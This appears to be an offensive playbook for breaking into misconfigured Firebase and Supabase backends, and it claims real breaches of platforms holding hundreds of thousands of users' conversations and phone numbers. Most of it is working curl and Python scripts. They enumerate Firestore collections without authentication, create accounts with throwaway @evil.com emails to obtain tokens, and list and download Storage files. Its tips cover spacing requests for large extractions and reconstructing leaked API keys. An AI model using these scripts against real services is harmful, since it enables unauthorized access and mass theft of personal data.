Exploit misconfigured Firebase (Firestore, Storage, Auth) and Supabase (REST API, Storage, Auth) backends. These BaaS platforms are the #1 source of massive data breaches in modern web apps when Row Level Security (RLS) is missing and API keys leak in JavaScript bundles. Confirmed on delivery-platform (204K WhatsApp conversations, 173K phone numbers), visa-processing-platform (64K users, 46K reports), fitness-chain (39K users, 5 Firebase projects, 21 credentials), dental-booking (9 clinics, 1,749 leads).
PROJECT_ID="$1"# e.g., delivery-bot-platformecho"[*] Firestore enumeration for $PROJECT_ID"# List root collections (if public)
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/" | \
python3 -c "
import sys, json
try:
data = json.load(sys.stdin)
if 'documents' in data:
print(f'ERROR: {len(data[\"documents\"])} root docs — not a collection list')
else:
for k in data.keys():
print(f'Collection: {k}')
except Exception as e:
print(f'Error: {e}')
print(sys.stdin.read()[:500])
" 2>/dev/null
# If Firestore requires auth, try with Firebase ID token from Auth# (see Phase 4 for token generation via signup)
Phase 3 — Firestore Collection & Document Access
PROJECT_ID="$1"
COLLECTION="$2"# e.g., conversationsV3, users, storesecho"[*] Accessing collection: $COLLECTION"# List documents in collection
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/$COLLECTION" | \
python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'documents' in data:
print(f'Documents found: {len(data[\"documents\"])}')
for doc in data['documents'][:5]:
name = doc['name'].split('/')[-1]
fields = doc.get('fields', {})
# Extract top-level fields
keys = list(fields.keys())[:10]
print(f' {name}: {keys}')
if len(data['documents']) > 5:
print(f' ... and {len(data[\"documents\"]) - 5} more')
elif 'error' in data:
print(f'Error: {data[\"error\"][\"message\"]}')
" 2>/dev/null
# Read a specific document
DOC_ID="$3"# from the listing above
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/$COLLECTION/$DOC_ID" | \
python3 -m json.tool 2>/dev/null | head -50
Phase 4 — Firebase Auth Signup & Token Generation
API_KEY="$1"# from JS bundle (web API key)
PROJECT_ID="$2"echo"[*] Testing Firebase Auth signup on $PROJECT_ID"# Sign up
SIGNUP_RESP=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
-H "Content-Type: application/json" \
-d '{"email":"test-'$(date +%s)'@evil.com","password":"TestPass123!","returnSecureToken":true}')
ifecho"$SIGNUP_RESP" | grep -q "idToken"; thenecho"[+] SIGNUP OPEN — account created!"
ID_TOKEN=$(echo"$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['idToken'])" 2>/dev/null)
echo" ID Token: ${ID_TOKEN:0:50}..."# Now use this token with Firestoreecho"[*] Testing Firestore access with ID token..."
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/" \
-H "Authorization: Bearer $ID_TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'documents' in data:
print(f'[+] ACCESS GRANTED — {len(data[\"documents\"])} collections visible')
elif 'error' in data:
print(f'[-] Access denied: {data[\"error\"][\"message\"]}')
else:
print(f'[?] Unknown response: {list(data.keys())}')
" 2>/dev/null
elseecho"[-] Signup blocked: $(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('error',{}).get('message','unknown'))" 2>/dev/null)"fi
Phase 5 — Firebase Storage Enumeration
PROJECT_ID="$1"
BUCKET="${PROJECT_ID}.appspot.com"# default bucket nameecho"[*] Storage enumeration for $BUCKET"# List objects (if public)
curl --max-time 30 --connect-timeout 10 -sk "https://storage.googleapis.com/storage/v1/b/$BUCKET/o" | \
python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'items' in data:
total = len(data['items'])
total_size = sum(int(i.get('size', 0)) for i in data['items'])
print(f'Objects: {total} ({total_size:,} bytes)')
for item in data['items'][:5]:
print(f' {item[\"name\"]} ({item.get(\"size\",0):,} bytes)')
elif 'error' in data:
print(f'Error: {data[\"error\"][\"message\"]}')
"# Download a specific file
OBJECT_NAME="$2"# from listing
curl --max-time 30 --connect-timeout 10 -sk "https://storage.googleapis.com/storage/v1/b/$BUCKET/o/$OBJECT_NAME?alt=media" \
-o "/tmp/firebase_$OBJECT_NAME"echo"[+] Downloaded to /tmp/firebase_$OBJECT_NAME"
Anon key is NOT a secret. It's designed to be public. The vulnerability is missing RLS, not the key exposure itself.
Firestore rules may allow reads but not writes. Test SELECT, INSERT, UPDATE, DELETE separately.
Supabase RLS may protect some tables but not others. Test every table independently.
Firebase Auth signup may require email verification. Check if the app auto-confirms emails (many do).
Rate limiting on Firestore REST API. Spread requests 0.5-1s apart for large extractions.
API key in JS bundle may be truncated/redacted. The key string visible in the minified bundle may show AIzaSy...USd4 or similar truncation. This happens when the bundler splits the key across multiple string literals or when the key references a variable defined elsewhere. If the Firebase API tests return "API key not valid", the key may be a partial match from the regex. Extract the surrounding context (50+ chars on each side) to find the complete key.
Firebase project may not be deployed. The Firebase project ID (e.g., medxgo-2e637) may exist in the GCP project registry but have no deployed Firebase resources (no Firestore, no Hosting, no Storage). Check /firebaseapp.com, /firebaseio.com, and /firestore.googleapis.com independently — each may return different results.
Verification
Firebase Firestore: MUST list collections/documents without authentication (no Authorization header).
Supabase REST: MUST return HTTP 200 with data rows using only the anon key (no user JWT).
Supabase CRUD: MUST confirm at least one write operation (INSERT/UPDATE/DELETE) succeeds.
Firebase Auth signup: MUST return idToken or access_token in the response.
Firebase Storage: MUST list objects without authentication.